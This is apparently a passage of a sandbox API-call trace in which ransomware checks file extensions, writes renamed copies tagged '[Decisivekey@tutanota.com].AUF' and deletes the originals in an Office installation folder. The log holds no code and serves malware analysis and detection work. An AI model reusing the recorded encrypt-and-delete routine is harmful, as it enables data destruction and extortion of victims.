(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.515] lstrlenW (lpString=".dbf") returned 4 [0210.515] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.515] lstrlenW (lpString=".1cd") returned 4 [0210.515] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.515] lstrlenW (lpString=".jpg") returned 4 [0210.515] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.515] lstrcmpiW (lpString1=".CHM", lpString2=".AUF") returned 1 [0210.515] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0210.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0210.642] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=37689) returned 1 [0210.642] CloseHandle (hObject=0x1f8) returned 1 [0210.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0210.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0210.642] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.643] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0210.643] GetLastError () returned 0x0 [0210.643] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x9339, lpOverlapped=0x0) returned 1 [0210.827] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x9340, lpOverlapped=0x0) returned 1 [0210.828] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0210.828] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0210.828] SetEndOfFile (hFile=0x194) returned 1 [0210.828] CloseHandle (hObject=0x194) returned 1 [0210.829] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.829] SetEndOfFile (hFile=0x1f8) returned 1 [0210.830] CloseHandle (hObject=0x1f8) returned 1 [0210.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.830] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.830] lstrlenW (lpString=".doc") returned 4 [0210.830] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0210.830] lstrlenW (lpString=".docx") returned 5 [0210.830] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0210.830] lstrlenW (lpString=".pdf") returned 4 [0210.830] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0210.830] lstrlenW (lpString=".xls") returned 4 [0210.830] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0210.830] lstrlenW (lpString=".xlsx") returned 5 [0210.830] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0210.830] lstrlenW (lpString=".ppt") returned 4 [0210.830] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.830] lstrlenW (lpString=".zip") returned 4 [0210.830] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0210.830] lstrlenW (lpString=".rar") returned 4 [0210.830] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0210.830] lstrlenW (lpString=".bz2") returned 4 [0210.830] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0210.830] lstrlenW (lpString=".7z") returned 3 [0210.830] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.831] lstrlenW (lpString=".dbf") returned 4 [0210.831] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.831] lstrlenW (lpString=".1cd") returned 4 [0210.831] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.831] lstrlenW (lpString=".jpg") returned 4 [0210.831] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.831] lstrlenW (lpString=".doc") returned 4 [0210.831] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0210.831] lstrlenW (lpString=".docx") returned 5 [0210.831] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0210.831] lstrlenW (lpString=".pdf") returned 4 [0210.831] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0210.831] lstrlenW (lpString=".xls") returned 4 [0210.831] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0210.831] lstrlenW (lpString=".xlsx") returned 5 [0210.831] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0210.831] lstrlenW (lpString=".ppt") returned 4 [0210.831] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.831] lstrlenW (lpString=".zip") returned 4 [0210.831] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0210.831] lstrlenW (lpString=".rar") returned 4 [0210.831] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0210.831] lstrlenW (lpString=".bz2") returned 4 [0210.831] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0210.831] lstrlenW (lpString=".7z") returned 3 [0210.831] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.831] lstrlenW (lpString=".dbf") returned 4 [0210.831] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.831] lstrlenW (lpString=".1cd") returned 4 [0210.831] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0210.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0210.831] lstrlenW (lpString=".jpg") returned 4 [0210.831] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0210.831] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.831] lstrlenW (lpString="Office32WW.XML") returned 14 [0210.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0210.832] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4274) returned 1 [0210.832] CloseHandle (hObject=0x1f8) returned 1 [0210.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0210.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0210.833] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.833] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0210.833] GetLastError () returned 0x0 [0210.833] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0210.842] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0210.843] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0210.843] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0210.843] SetEndOfFile (hFile=0x194) returned 1 [0210.843] CloseHandle (hObject=0x194) returned 1 [0210.844] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.844] SetEndOfFile (hFile=0x1f8) returned 1 [0210.844] CloseHandle (hObject=0x1f8) returned 1 [0210.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.845] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0210.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.845] lstrlenW (lpString=".doc") returned 4 [0210.845] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.845] lstrlenW (lpString=".docx") returned 5 [0210.845] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0210.845] lstrlenW (lpString=".pdf") returned 4 [0210.845] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.845] lstrlenW (lpString=".xls") returned 4 [0210.845] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.845] lstrlenW (lpString=".xlsx") returned 5 [0210.845] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0210.845] lstrlenW (lpString=".ppt") returned 4 [0210.845] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.845] lstrlenW (lpString=".zip") returned 4 [0210.845] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.845] lstrlenW (lpString=".rar") returned 4 [0210.845] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.845] lstrlenW (lpString=".bz2") returned 4 [0210.845] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.845] lstrlenW (lpString=".7z") returned 3 [0210.845] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.845] lstrlenW (lpString=".dbf") returned 4 [0210.845] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.845] lstrlenW (lpString=".1cd") returned 4 [0210.845] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.845] lstrlenW (lpString=".jpg") returned 4 [0210.845] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.846] lstrlenW (lpString=".doc") returned 4 [0210.846] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.846] lstrlenW (lpString=".docx") returned 5 [0210.846] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0210.846] lstrlenW (lpString=".pdf") returned 4 [0210.846] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.846] lstrlenW (lpString=".xls") returned 4 [0210.846] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.846] lstrlenW (lpString=".xlsx") returned 5 [0210.846] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0210.846] lstrlenW (lpString=".ppt") returned 4 [0210.846] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.846] lstrlenW (lpString=".zip") returned 4 [0210.846] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.846] lstrlenW (lpString=".rar") returned 4 [0210.846] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.846] lstrlenW (lpString=".bz2") returned 4 [0210.846] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.846] lstrlenW (lpString=".7z") returned 3 [0210.846] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.846] lstrlenW (lpString=".dbf") returned 4 [0210.846] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.846] lstrlenW (lpString=".1cd") returned 4 [0210.846] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0210.846] lstrlenW (lpString=".jpg") returned 4 [0210.846] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.846] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.846] lstrlenW (lpString="SETUP.XML") returned 9 [0210.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0210.848] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1988) returned 1 [0210.848] CloseHandle (hObject=0x194) returned 1 [0210.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0210.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0210.849] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.849] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0210.849] GetLastError () returned 0x0 [0210.849] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x7c4, lpOverlapped=0x0) returned 1 [0210.856] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0210.866] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0210.866] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0210.866] SetEndOfFile (hFile=0x208) returned 1 [0210.866] CloseHandle (hObject=0x208) returned 1 [0210.867] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.867] SetEndOfFile (hFile=0x194) returned 1 [0210.867] CloseHandle (hObject=0x194) returned 1 [0210.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.868] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0210.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.868] lstrlenW (lpString=".doc") returned 4 [0210.868] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString=".docx") returned 5 [0210.868] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.868] lstrlenW (lpString=".pdf") returned 4 [0210.868] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString=".xls") returned 4 [0210.868] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString=".xlsx") returned 5 [0210.868] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.868] lstrlenW (lpString=".ppt") returned 4 [0210.868] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.868] lstrlenW (lpString=".zip") returned 4 [0210.868] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.868] lstrlenW (lpString=".rar") returned 4 [0210.868] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString=".bz2") returned 4 [0210.868] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString=".7z") returned 3 [0210.868] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.868] lstrlenW (lpString=".dbf") returned 4 [0210.868] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.868] lstrlenW (lpString=".1cd") returned 4 [0210.868] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.868] lstrlenW (lpString=".jpg") returned 4 [0210.868] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 